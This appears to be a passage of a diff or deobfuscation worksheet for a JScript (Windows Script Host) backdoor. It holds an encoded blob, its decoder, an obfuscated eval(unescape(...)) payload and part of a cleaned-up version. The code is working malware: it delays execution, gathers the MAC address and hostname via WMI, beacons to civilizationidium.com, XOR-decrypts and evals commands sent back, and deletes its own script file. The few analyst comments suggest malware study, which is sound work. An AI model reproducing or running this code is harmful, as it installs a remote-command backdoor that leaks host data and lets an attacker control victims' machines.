+&A6Gdpv+o+A+ufs&3C+&+3CA&+3:&31+&8C&1E+&1B&+A1:A&1:wAbs&3+1+di+Abs+&6AGdA&4E+Tusjo+h+&+3+F+gAspA+nDi+bsDpeA+f+&3A9AOAv+nA+cfs&+3+A9bAss+A+u+A+fyu&+6ACjA&6Gd+Ap+Avou+Af+s+A&6E&3A+:A&3A:+A+&4+A+C+&1+E&1+AB+A+&A1:+&1:wbsA+&3+1AdibsDpAnA+&+4E+A+diAbs+&A+6+Gd&3F+dib+sDp+efB+Au&+39+&41&3+:+A+&6+Ftu+sQAb+tt&A3AFAdi+bAsADp+efBu+&+39+kA&6AGdpvou+Afs+A&+3:+&+A4C&+1AE+&+1B&+1:&+1:+di+b+s&A6AGA+dA&+4+EAT+u+s+A+jo+hA&+3+Fg+sp+nDi+Ab+AsD+pe+Af+A&+3+9diAbA+sD+p+n+&3A:+A+&+A4+C&A+1EA&+1ABA&1+:&1:tAusS+fuA&3C&4EA&3+1Adi+bs+&6+G+d+&+4C&+1+E+&1+B+A+&+A1:&+1A:jAg&A3A+9kA+&6GA+dp+vAoAufsA&A4E&+4Etu+sA+Qb+tAt+A&+3FAm+f+Aohui&3EA+&+4A+2A&+A+3A:k&+6+AGd+pvAoAu+A+fs&4AE&+4A1&4+CA+&31+AfA+mAtf+&3+1k+&+A+6Gd+pvo+AuAfs+&A3+C+A&3C&4C&A1EA&1B+&+A+1:&8E+&A1AE+A&+1+AB&A1A:+s+f+A+uvsAo+&3A+1A+tuAsSAfu+A&4C&1+AEA&A1B+&+A8E#**<"; +yCRQsLachezYpHlTf = ""; +// unused string version +function nIoWRmSCpujBFziN(ysFMcYPvwAKbLgeCSf) { return String.fromCharCode(ysFMcYPvwAKbLgeCSf); } + +function gJKESNhpluIOVRw(wtfsyRlYSEVcqDx, iONhHpdTKgYQJUeZyG) { return wtfsyRlYSEVcqDx.charCodeAt(iONhHpdTKgYQJUeZyG); } +stkChZmIjlpFrxaRDWN = 1944798 / 33531; +for (OwkFMgqJoXhRBpIsGQA = 0; OwkFMgqJoXhRBpIsGQA < OQywqAtKEYVPLbC["length"]; OwkFMgqJoXhRBpIsGQA++) { + tIFTSbRMOhaueUVP = gJKESNhpluIOVRw(OQywqAtKEYVPLbC, OwkFMgqJoXhRBpIsGQA) - (1833) * stkChZmIjlpFrxaRDWN / (106314), tIFTSbRMOhaueUVP != (106314) * stkChZmIjlpFrxaRDWN / (240352) && tIFTSbRMOhaueUVP != (444928) * stkChZmIjlpFrxaRDWN / (403216) && (yCRQsLachezYpHlTf += nIoWRmSCpujBFziN(tIFTSbRMOhaueUVP)); +} + +//In memory (obfuscated + * will be removed in next step) +* +eva * l * ( * unes * c * ape * ("fu*n**ctio*n%20*func*%*5*Fst*art%*5Fdel*a*y%*20%28*%2*9*%2*0*%7B%*0D%0*A%09va*r%20s%5*FWS*cript%2*0*%3*D*%*20*W*Sc*ri*pt%3B%0*D%*0*A%0*9s%*5FWSc*ri*pt*%2E*Sl*e*ep%28%31*%3*2%*30%3*0%3**0*%30*%29*%3B%0D%*0A%7*D*%*0D%*0*Af*unctio*n%20func%5Fc**r*yp*t%5Fcontroller%*20%*28v*ar%5F*ty*p*e%*2*C*%2*0*v*ar%5*Fr*eq*uest%29*%2*0%7B%0*D%0A%*09t*ry%7*B%0*D%0A%09%09va*r%20**encr*yp*t*ion%**5Fkey**%2*0%3*D%20%2*2%*22%3B*%0D%0A%09%0*9i*f%*28var%5F*ty*pe*%2*0%*3*D*%3*D%3*D%2*0%*22decr**ypt%*22%2*9%2*0%7*B%0*D*%0**A%0*9%09*%*0*9va*r%5*Freq*uest*%20%*3D%20*un*esc*ape*%*28*v*ar%*5F*requ*es*t*%29%3*B%0D%0A*%09*%0*9%09*var%*20requ*est%5*Fs*pl*it*%20%*3D%2*0*var*%*5Freq**u*e*st%2E*split%2*8*%2*2%2*6%5F*%26%22*%29*%3B*%0D*%*0A*%0*9*%09%0*9*va*r%*5*Freq*u*es*t%*20*%*3D%**2*0re*que*s*t*%5Fsplit%5*B%3*0%5D*%3B%0D%0*A%09%*0*9%09if%2*0%28re*que*s**t*%*5Fsplit%2*E*len*g*th%20%3*D*%3D*%2*0%32**%29%20%*7B*%0*D%0*A%09*%*09%*09*%*0*9encr*yptio*n%**5F*ke**y%20*%*3D%20re*qu*est%*5F*s*p*l*it%*5B*%3*1%*5D%2E*s*p**l*it%28%2*2%*2*2%29%3B%0*D*%*0A**%*0*9%09%09*%*7*De**l*se*%7*B%*0D*%0A%09%*0**9%0*9%*0*9*r*eturn*%20*v*a*r%*5Fr*e*q*u*est%3B%0*D*%*0A*%09*%0*9*%0*9%7*D*%0D**%0*A%*09*%**0*9%*7Del*se%*7B%0*D%**0A*%*09%09%09*e**nc*rypt*ion%5*Fk*ey%2*0*%*3D%*20*%28*Mat*h%2*E*flo*or%*2*8M*a*th%2Erando*m%28%29%*2A*%39%3*0%*30*%*30*%29%20**%**2B*%2*0%31%30*%*3*0%30*%*2*9%2E**toSt*ring%28*%*2*9*%2*Espli**t*%*28%*22%*22%*2*9*%3*B%*0*D%0A*%09*%09*%0*9var%5*F*req*ue**s*t*%**3Dunes*ca*p*e%2*8en**codeURIC*ompone*n*t%2*8*var*%5Fr*eq*ue*s*t%*2*9%29%3*B%0D*%*0A*%09%09**%7D*%0D%0A*%09%09v*a*r**%*2*0va**r%5Fo*u*tput*%20%*3D%20*new%20Arr*ay%*2*8*va*r%5Frequ*est%*2*Eleng*t*h%2*9*%*3B*%0D%*0A*%0*9*%09fo*r%*20*%28va*r%2*0*i%5*F*coun*t*e*r%*20%3D%20%30*%*3*B%*20i%*5Fco*unt*er%2*0%3*C*%20*v*ar%*5Fr**e*quest%*2Ele*ngt*h%3B*%20i*%*5Fcounte**r%2B%2B%*2*9%20%*7B%0D%0A*%0*9%*09*%*09**va*r*%2*0*v*ar%*5F*cha*rCode%20*%3D%20va*r*%*5*Frequest%2E*c*har**C*o*deAt%*2*8**i%**5*Fco*un*ter%2*9%2*0*%5*E%20en*cr*y*p*ti*o*n%*5Fkey*%*5Bi%5F*c*o*unter%**20%2*5%20*e*n*cr*y*p*ti*on*%*5F*k*e*y*%2Elength*%5*D%*2EcharCodeAt%28%30%2*9%3*B%*0*D*%0A%09%09%*0*9var*%*5Fou*tp*ut%*5*B*i*%5*F*cou**nt*er%5D*%2*0%3D%20S**t**r*i*ng%*2Ef*rom*Cha*r*C*o*d*e*%2*8*var*%*5F*ch*arC*od*e*%29%*3*B*%0D%0A%0*9%09*%*7D%0D%0A%09*%*0*9*va*r%2*0r*e*s*ul*t%*5Fs*trin*g%20%3D%*20va*r*%5*Foutput%2*Ej*oi*n%*2*8%*22*%**22*%*29*%3*B*%*0*D*%*0A%*09%*09if%*28va*r%5Ftype*%20%3D*%3*D%3D**%2**0%22e*n*c*r*y*pt*%*2*2%2*9%*2*0%*7B*%0D%*0*A%0*9%09%0*9re*sult*%*5Fstr*in*g%20%*3D%20*re*s*ult%5*Fst*rin*g*%*20*%*2*B*%2*0%2*2*%26*%*5F*%*2*6%*22%20*%2B%20e*ncryptio*n%5*F*ke*y%*2Ejoi*n**%*28%2*2*%22*%*29%3*B*%*0D%0A*%0*9%09%*0*9*r*esu*l*t*%*5Fstr*i**ng%*20%*3*D%20escap*e%*28resul*t%5*F*str*in*g%*29%*3*B%0*D*%0*A*%09%09%*7D%*0D%*0A*%09%09*ret*u**r*n*%*20r**e*s*ult*%5*Fstring%3B%0D*%0A%2*0%*2**0*%**20*%20*%7D*catch%2*8e%2*9%2*0%*7*B*%*0D%0*A%20*%2*0%20*%2*0%2*0%20%*2*0*%*2*0re*turn%20%22no%2*2%3*B%0D*%0A%2*0*%20%2*0*%2**0*%7D%*0D%0A*%0D%0A%*7D**%*0*D%0*Afu*n*ction*%*2*0*f*un*c%5*Fid%2*0%28%29%2*0*%7B%0D%0A%*09var*%20mac*%*5*Faddress*%**20%*3D%20*%2*2%2*3*Error%23**%2*2%3B*%0D*%0A%*09va*r%*20dns%5F*ho*st*name%*20%3*D**%20%22%*23E*rror%23*%*22%3*B*%0D%0*A%*0*9try%7*B%*0D%0A*%09%*09var%20*lre*q*u*es*t%20*%3D%*20wmi*%2*EExe*cQ*ue*ry%*28%*2*2sele*c*t*%2*0%*2*A*%*20*from%20W*i*n%*3*3%*32*%5FN*et*w*orkAda*pte*rC*onfi*g*u**rat*ion%*20where*%2*0*i*p**enab*led%2*0*%3*D%20t*ru*e%*22*%2*9%3*B%0D%*0*A%0*9%*09var*%2**0**lIt*ems*%*20%*3D*%*2*0**ne*w**%*2*0*En*u*me*r*a*t*o*r%28lre*q*uest*%*29%3B*%0*D%0A*%09*%09*fo*r*%20%28*%*3*B%20%*2*1l*Item*s*%2*EatEnd%*28%29*%3*B*%*20*lIte*ms%2Emo*v*e*N*ext%28%29%29*%2*0*%*7*B%*0*D%**0A%*0*9%09%0*9*m*a*c*%5*Fad*dre**ss%*20*%*3*D%*2*0lIt*em*s%2*Ei*te*m%*28%*2*9*%2E*m*acadd*ress*%*3B%*0D%0*A%09%09*%09dns*%5Fhostna*m*e*%20*%3D%2*0*lIte*ms%2E*it*em%*2*8*%2*9*%*2E*DNSHo*stN*ame*%3B%*0D*%0*A%0*9%09*%0*9*if*%*2*8typeo*f%20*m*ac%5Fa*ddr**e*ss%*20%3D*%3*D%3D%*2*0*%*22*s*trin**g*%*2**2%*2**0*%26%26%20m*a*c%5Faddress%2*E*leng*th%2**0%3*E%2**0%31%29%**2*0%7B%0*D*%*0A*%09%09%0*9%09if%28*t*ype**of%*2*0dns%**5Fhostna*me*%*20*%21%*3*D%3*D*%2*0%22strin*g*%2*2%**2*0%2*6*%26%20*dn*s%*5*F*h*ostname*%*2*Elen**gth*%20%*3C*%2*0%31*%29%20%7B%*0*D%0A%09%09%**09%0*9%09*d*ns%*5*Fh*ost*nam*e*%*20*%*3*D%20*%22Unkn*o*w*n%*2*2%3**B%0D*%0A*%09%*09%*09**%09*%7Dels*e%7B%*0D%0A%0*9%09%09%09*%09fo*r%**20*%28va*r*%2*0i%5Fc*o*u*nter*%*20%*3*D*%20*%*30%3*B%20*i**%5Fcoun*t*er%20*%3C*%**2*0d*ns*%5*Fhos*tna*me%2*E*len*gth%*3B%20*i*%*5*Fc*ounter%2B*%*2*B*%*29*%*2*0%7B%0**D*%*0A*%*0*9*%09*%09*%*09%*09*%09*if*%2*0*%*28d*n*s%5F*h*ostna*me%2**Ec*har*At%2*8i*%*5Fco*u*nte*r*%2*9%2**0*%3*E%2*0%22z*%2*2%*29%20*%*7B*%0*D%0A%09%09*%09%*09%09%09%*09dns**%*5Fho*st*n*ame%20*%*3*D%2*0d*n*s*%5F*hos*tn*a*me*%*2E*sub**str*%28*%30*%*2*C*%*20*i%*5**F*counter%29%*2*0*%2B%*20%*22*%*5F%*2*2%20%2B%2*0dns*%**5Fhostn*ame%2Es*ubstr*%*2*8i%*5*F*cou*n*t*er%20*%*2*B*%*20*%*31%29%*3B*%0D*%0A%0*9%*09%0*9*%09*%09%*0*9*%7*D*%**0D*%*0A*%*09%0*9*%0*9%09%09*%7D*%*0D*%0*A%**0*9*%**09%*09%0*9*%*7D*%*0D*%0*A%09%09%09%09re*tur*n%*2*0ma*c*%5Fadd*r**ess%**20%*2B%*20%22*%5*F*%22%*2*0%*2B%20dns**%*5F*hos*tn*a*me%3B*%**0*D*%*0A*%**0*9*%09%09%*7D%*0*D%*0A*%0*9*%*09%7*D%*0D*%0A%*0*9%*7*D*c*atch*%28*e%*29%20%7**B*%0D**%0*A%*20%*20%2*0%*2*0*%*2*0%20*%20*%*20*r*et*u*rn*%*20m*ac**%*5*Fad**dress*%20*%2*B*%*2*0%22%**5F%22%20%*2*B%*2*0*d*ns%*5Fh*o*s*t*na*m*e%3B%0*D%0A*%*20**%*20*%*20%20*%7D%*0*D*%0*A%*0D*%*0A%*7*D%0D%0A*fun*cti*on%20func%*5*Fm*ain*%20%28%2*9%20%7B*%*0**D%*0*A%20**%20%20*%*2*0var%*2*0ncomm*and*%*2*0*%3*D%20%22*%2*2*%*3B%0D*%0A%09var%20s%5FWScrip*t*%20%**3D*%20*W*Scrip*t%**3B*%0*D%0A*%*20*%*2*0%20%20n*co*mma*nd*%2*0%*3D%2*0send*%*5Fda*ta*%28%22*req**uest**%2*2*%2C%*2*0%22page*%*5F*i*d%3*D*n*ew%**2*2%2*C%2*0*t*r*u*e%**29%*3B%*0*D**%0*A%20*%*2*0%*2*0%20if**%*2*8ncom*m*and*%**20*%*21%3*D%3D*%*20*%22no%22%29%20%*7B%0*D%0A*%0*9%0*9tr*y**%2*0*%7B%0D%0*A%*09%0**9%09nc*ommand%*20%*3D*%20fu*n*c%5Fcryp*t%*5Fcont*r*olle*r*%28%*22*d*ecrypt%2*2*%2C%20n*c*om*ma*nd%29*%*3B%*0D*%*0A*%*09**%09%09if*%2*8ncom*ma*nd%20%21%3*D*%*3*D%*20%*22n*o%22%*2*9%20*%7B*%*0D%0*A*%**09%*09%0*9%*09e*val*%*2*8*f*unc%5*F*cryp*t%*5Fc*ontrolle*r%28%22decr*y*p*t%*22*%2*C*%2*0nc*omma*nd%29%29**%3B%*0*D%0A%09%0*9**%09%7*D%0D%0A*%20%20%**20*%2*0*%2**0%2*0%*20*%*20%*7Dca*tch*%28e*%29**%2*0*%7B%*0*D%0A%20*%20*%**20%2*0*%20*%*2*0%20*%**20*%7D*%*0D%0*A%*20*%20%20**%20*%7*D*%0D%*0A%*2*0%20*%20%20var%20r*and*om%5F*k*n*o*ck%*2*0%*3D*%*2*0%31%*3*2%30%*30*%3*0%*30%*20*%2B%20*%28*Ma*t*h**%2E*floo**r%28**Math*%2*E*random%*2*8%29*%*20%2A%2*0*%31%36*%*3*0%30%3*1%29%*20%2D%2**0%35*%3*0%*30%3*0%2*9%3*B%*0D%0*A%20%**2*0**%*20*%2*0s%5FWS*c*rip*t*%*2ESle*ep%28ran*do*m%5*Fk*n*oc*k%29%*3*B%0*D*%*0*A**%*2*0%20%2*0%*20fu*n*c*%5Fm*ai*n**%*28%29%**3B%0D**%*0A*%7*D%0D%0A*func*t*ion*%*20func%*5F*get*%5*Fpa*th%20%*2*8%2*9%20%7B%*0D%*0A*%2*0%*2*0*%20%2*0v*a*r*%20va*r*%*5Fp**a*thes%*20%3*D*%*20%5*B%*22*images%22%*2C%20%*2*2*p*i*c*t*ure*s*%22%2*C%*2*0%*2*2*img**%2*2%2*C%*20%22i*nfo%22%**2*C*%20*%22new*%2*2%5D%*3B%*0*D%0A*%2*0%20*%**20%*20va*r%*20*va*r%5Ffil*es*%2*0*%3*D%*2*0%5*B%*2*2sync%2*2%2C%2*0*%*2*2*s*how%22%2C%20%22*hid*e*%*22*%2C*%20%*2*2a**dd%22*%2*C*%*20*%22ne*w%22**%2*C**%2*0*%*2**2r*enew*%22*%2C%*20%2*2d*e*l**ete*%2*2%5*D*%*3B*%0D*%0*A*%*20%*20%*20%20va*r%20var%5F*path*%*20%3D%2*0va*r%*5Fpat*h*e*s%*5*BMa*t*h*%*2E**floor%2*8*Ma*th%2*E*rando*m%28%*2*9*%*2*0%2A%**2*0*var*%*5*F*pathes*%*2Ele*ng*th%2*9*%*5D*%20*%2*B%2*0*%22%2*F%*2*2%2*0%2*B%*20v**ar%5Ffil*e*s%5BMat*h%*2Efloor%28*M*at*h%*2Era*ndo*m%28%2*9%20%2*A*%*2*0*var*%5Ff*i*les*%*2E*le*n*gth*%2*9*%5*D%*3*B%0D%0A%2*0*%2*0%*20*%20r*et*urn%*20*%**22*https%3A*%2F%*2Fcivili*z*ationi*di*um*%2*E*com%2*F*%2*2%2*0**%2B%2*0var%5Fpa*th%3B%*0D%0A*%7D*%*0*D%0A*var%*20*wmi%20%3*D%*2*0*Ge*t*Obj*e*ct*%*28%*22winmgmts**%*3A*ro*o*t%2*F*C*IMV%*3*2%*2*2%29%*3*B*%*0D%0Av*ar*%20shel*l%*20%3**D*%*20new%2*0A*ctive**X*O*bject*%2*8*%*2*2WScript%2E*Shell%*22%2**9%*3B%*0*D%**0Av*a*r%*2*0**fso%20%3D**%*20n*ew%2*0Act*iv**eXOb*ject%**28*%2*2Scri*p*ti*ng%**2EFil*eSy*s*t*e*mO*bje*ct*%*22%29%3B%0D*%0**A*v*a*r%20*app*%5F*p*a*t*h%*20%*3*D%20s*h*ell%2Ee*x**pan*d*Env*iro*n*mentSt*rin*gs%28%22*%*2*5AP*PDAT*A%25*%*22*%29*%3*B%0*D%0Avar*%20*u*n*i*q*%5*F*i*d%*20%3D%*20new%2*0Date*%28%29*%2Eg*e*t*U*T*CMi*llise*conds%*2*8%2*9%3*B%0D%0A*if%*28*fso%2EG*etA*b*s**olute*Pa**t*h*Name*%*2*8f*so*%2*E*Ge*tPar*entFold*erN*a*m*e%*28app*%*5Fpath%*2*9%2*9%*2*Ein*dexOf%28*%22App*Data%22%*29*%20*%3*E%20*%35%*29**%20%7B*%0D%0*A*%*20*%*2*0%*2*0%2*0if%28WS*crip*t*%2ESc**ript*Fu*llN*a*me%2Ei*nd**ex*O*f**%*28%2*2Mi*c*r*o*soft%*22%2*B*String%2E*f*ro*mCh*arC*o*d*e%28*%30x*%35*C*%*29%*2B*%*22W*ind*o*ws%*22%29%*3C%3*0*%29*%7*B*%0D*%*0A%*0*9%09%2*0tr*y%7B%*0D%*0A*%09*%09%*09%20fso%*2*Ed*el*e**teFile*%28*WS*c*ript*%2EScript**Full*N*ame*%29%3B*%*0D%0A*%*09%*09%*20%7*D**ca*tch*%28e*%*29*%20%7B%7*D*%*0D%0A*%2*0%20*%20%2*0*%7*D%*0*D*%0*A*%2*0*%2*0%20*%2*0*try%7*B*%0D%*0A%20*%20%*20**%2**0%*20%*2*0%20*%20*f*un**c*%*5Fs*t*art**%5*F**de*la*y%*20%28%*29%*3*B%*0*D%0*A*%2*0*%*20*%2*0%*20*%20%20%*20%20*f*un*c%*5*Fmai*n%28*%29%3B*%*0*D%0A%20*%*20%20%*20%7D*c**a*tc*h%28*e%2**9*%20%7B%0D%0*A%2*0%20%*20%20*%20%20%*20*%20func*%5*F*ma*in%28%*29%*3*B**%0*D*%**0*A*%2*0%2*0**%20*%**2*0*%7*D*%0*D%0*A*%7D*%0D%0*Afuncti*on*%20s*e*nd%5F*da*t*a%*20%*28var*%5*F*typ*e%*2C%20*var%5Fda*t**a*%2C*%20v**ar%5F*c*ryp*t%29**%20*%7B*%0D*%*0*A%2*0%*20%*2**0%*20**t*r*y%20%7B%0**D*%0*A%*2*0%20*%*20*%2*0%20%*20%*2*0%*20var*%*20ht*tp%5Fobje*ct%*20%3*D%*20ne*w%*20**A*c*tiv*eXObj*ect*%28*%*2*2MSXML%*32*%2EServ*erX*M**L*H*T*TP%2*2*%2*9%*3*B%0D%0A*%20%*20%20%20**%2*0*%20%2*0%*2*0if*%*28v*a*r%*5F*t*ype%2*0*%3*D%*3D%3*D%20%22*r*equ*est%2*2%**29%2*0%7*B%*0*D%0*A%20*%20%20%*2*0%20%20%20%*20*%*2*0*%20%20%20h*t*tp%5Fob*ject%2E*open%*2*8%*2**2PO*ST%2*2*%*2C%2*0func%*5Fget%*5Fpa**t*h*%20*%*28%29*%*2*0%2*B%2*0%22%*3F*t*y*p*e%3D*name%22*%2C%*20*f*a*ls*e%29%**3B%*0D%*0A%20%*2*0%**2*0%20%2*0%*20%20%*20%2**0%20*%20%*20*var**%5Fd*at*a**%20%*3D%*20%2*2z*a*wgkv*eu*wyny*jvi*z*s*%3*D**%*2**2%2*0%*2B%20fun*c*%5Fcr*y*p**t*%*5*Fc*on*tr*o*l**l*e*r%*2*8%22encr*ypt%22**%2C%20*%2**2*g*rou**p%3Ds*p%*26rt*%3D%3*0%*26s*ecret%*3DHiyFI*Y*F*%3*9%37%33IY*FCv*i*y*v%26tim*e%*3D*%3*1%*32*%30%30*%30**%30*%*26ui*d%3D%22**%20%2B%2*0un*iq%*5*F**i*d*%2*0*%2B%*2*0%22*%2*6id**%3D%*2*2%20*%*2B%*20fun*c%5*F*id%28%29*%2*0*%2B%20%*22%2*6**%22*%20%2B%2*0*va*r%5*Fdata%29%3*B*%0D*%*0A%20**%2*0%20*%2*0%2**0%2*0*%20%**20%*7De*lse%*7*B*%*0*D*%0*A%*2**0%*20%2*0*%20*%*2*0%*2*0%*20%20%*20*%**2*0%2*0*%*2*0*http%*5*Fobject%2E*op**en%*2*8%22P*O*S*T*%*22*%**2C%2*0func%5Fget%5*Fpath*%*20%28%2*9*%**2*0%*2*B%*2*0*%22%3Fty*p*e%3Dconte*n*t%26*id*%3D*%22%*20*%*2B%2*0u*niq%**5F*id%2*C*%20*fals*e%*29*%3*B%*0D%0A*%*2*0*%*20%20*%*20*%*20%2*0*%20%*20%2*0%*20%20%*20if%28va*r%*5*F*c*r*ypt%2**9*%*2*0%*7B*%0D*%0A*%20%*2*0*%20*%*2*0*%*20%2*0%20%2*0**%*20%2**0%20*%20*%*20%*20%20%*20v*a*r%**5Fd*a*ta%2*0%3*D*%20fu*n*c*%5F*c*ry*p*t%5Fcont*r*oll*er*%28*%*22e*n*crypt*%2*2%*2C*%2*0va*r%5*F*dat*a%2*9%3B*%0D%0A*%20%2*0%*20%20%20%20%20**%20%*20*%**2*0%**20%*2*0**%7*D%0*D%0A*%20%2**0%2*0%20%**2*0%**20%*2*0%*2**0%*7D%0D*%0A%2*0*%*2**0*%*2*0%2*0*%20%20%*2*0%*20http%5F*object%*2*E*setReque*s*tH*eader%2*8%*2*2User*%2D*Ag*ent*%22%2C%20%*2*2M*ozill*a*%2*F%35*%2E*%*3*0%*20*%*28Wi*ndo**w*s%20NT%*20**%36*%2E*%31%3B%*20*Win%36%34*%*3B%2*0x%*36%3*4%3B*%*20r*v*%3*A%36%*39*%2E*%30%29*%*20G*e*ck*o%2*F%32*%**3*0%*31%30%3*0%31%30*%31%20Fir*e*fox%*2*F**%*3*5*%3*0%*2*E*%*30%*2*2*%*2*9*%*3B%*0D*%0A%20%*20%**20%2*0%2*0%*20*%20%20*htt*p%*5F*obje**ct%2Eset*Req*uest**H*e**a*der%*2*8%22*Cont*en*t%2DT*ype%**22*%*2**C%*20%*22applic*ati*on%*2**Fx%*2*Dwww%2D*form*%*2D*urle*ncoded%*22*%*29*%*3B%*0D%0**A*%20%*2**0*%20*%20*%2*0%2*0%2**0%*2*0h*ttp*%5F*ob*ject%*2Eset*O*p*t*ion%28%32%2C%2*0*%**31%33%3*0%35*%*36%29%3B%0*D%**0*A*%20%2*0%2*0%2*0*%2*0%*20%**2*0%*20h*t*tp%5Fo*b*je*ct*%2*Esend%*28*va*r%*5Fdata%29*%*3B%0D*%0*A*%*20%20%*20%20*%2*0*%*20%20%20*re*t**u*rn%20*htt*p*%5**F*object%2Eresp**o*ns**eT*ext%*3*B*%0D%0*A*%*2*0%20%20%20%7*Dca*t*ch%28e%*2*9*%*20%7B%0D%0*A%*2*0*%20*%2*0*%20%20*%2*0*%*2**0**%2*0*r**etu*rn%*2*0*%2**2*n*o*%22*%3*B*%0D%0A%*20%2*0%*20%20*%*7D%0*D%0**A%7D%0D**%0Afunc*tion%**2*0func%5Fd*ec*ry*pt%2*8s*t*rI*n*pit%29*%20%7*B*%0*D**%0A**%09str**Pas**s%20%3D%20%*2*2ga*%*34*ku%2*2%*0*D%*0*A%0*9va*r%20st*rRet%3**Dne*w%2*0*St*r**in*g*%2*8*%22%22*%29**%3*B%*0D%0A*%09var*%20*a*r*rt*ext*%2*0*%3D%*20s*trI*np*i*t%*2Es*plit%*28%2*2*%*2*C%22*%*2*9*%*3*B*%0*D%0*A*%0*D%*0*A%09var%2*0i%*5Fc*ounte*r*%*3D%3*0%3Bv*ar*%20j*%5Fco*un*t*er%3D%30*%3B*%0*D%*0*A%0D%0A%*0*9fo*r%*28*i%5F*count*e**r%*3*D*%30%3Bi%5*Fcounter**%3Ca*r*rtex*t*%*2Ele*ng*th*%2D%*31%*3B*i*%5Fcou*n**ter%2B*%*2B%*29%20*%7B%0D*%0A%*09%09var%2*0*ch*ar*%5Fc%3D*Strin*g*%*2*E*fro*mCh*arCod*e*%28Nu*m*ber%*2*8arr**t**ext%*5Bi%5Fc*o*unt*e*r*%5D%2*9%29**%3**B*%0*D%0*A**%09*%09var*%2*0charCom*%*3D**char*%*5*Fc%2E*cha*rCo*deA*t%*28*%30%2*9**%5*Est*rPa*ss%2Ech*arCo*deAt*%*28*j%5Fcount*er*%*29*%*3B%*0D*%*0A%*09%*09*ch*a*r%5F*c%*3*DS*t*r**in*g%*2*Ef*ro*mCh*a*rC*od*e*%*2*8cha*rC*o*m*%29**%*3*B%*0D%*0A%0*9%09strR*et%2B%3D%2*0ch*ar*%5*F*c*%*3B%*0*D*%0*A**%*09%*09if%2*8j*%5F*co*unter%3D%*3Dst*r*Pa*ss*%*2El*e*ngth%2D*%*3*1%**29j%*5*Fc*ount**er%3D%*30%3*B*%20*e*lse*%2*0j*%**5Fc*oun*ter*%2*B*%2B%3B%0D%0A*%**09%7D*%0D*%*0*A%09*r*e**turn*%2*0*strRet*%3B%0*D%0A*%*7D")); + +// cLean version +function func_start_delay() { + var s_WScript = WScript; + s_WScript.Sleep(120000); +} + +function func_crypt_controller(var_type, var_request) { + try { + var encryption_key = ""; + if (var_type === "decrypt") { + var_request = unescape(var_request); + var request_split = var_request.split("&_&"); + var_request = request_split[0]; + if (request_split.length == 2) { encryption_key = request_split[1].split(""); } else { return var_request; } + } else { + encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split(""); + var_request = unescape(encodeURIComponent(var_request)); + } + var var_output = new Array(var_request.length); + for (var i_counter = 0; i_counter < var_request.length; i_counter++) { + var var_charCode = var_request.charCodeAt(i_counter) ^ encryption_key[i_counter % encryption_key.length].charCodeAt(0); + var_output[i_counter] = String.fromCharCode(var_charCode); + } + var result_string = var_output.join(""); + if (var_type === "encrypt") { + result_string = result_string + "&_&" + encryption_key.join(""); + result_string = escape(result_string); + } + return result_string; + } catch (e) { return "no"; } +}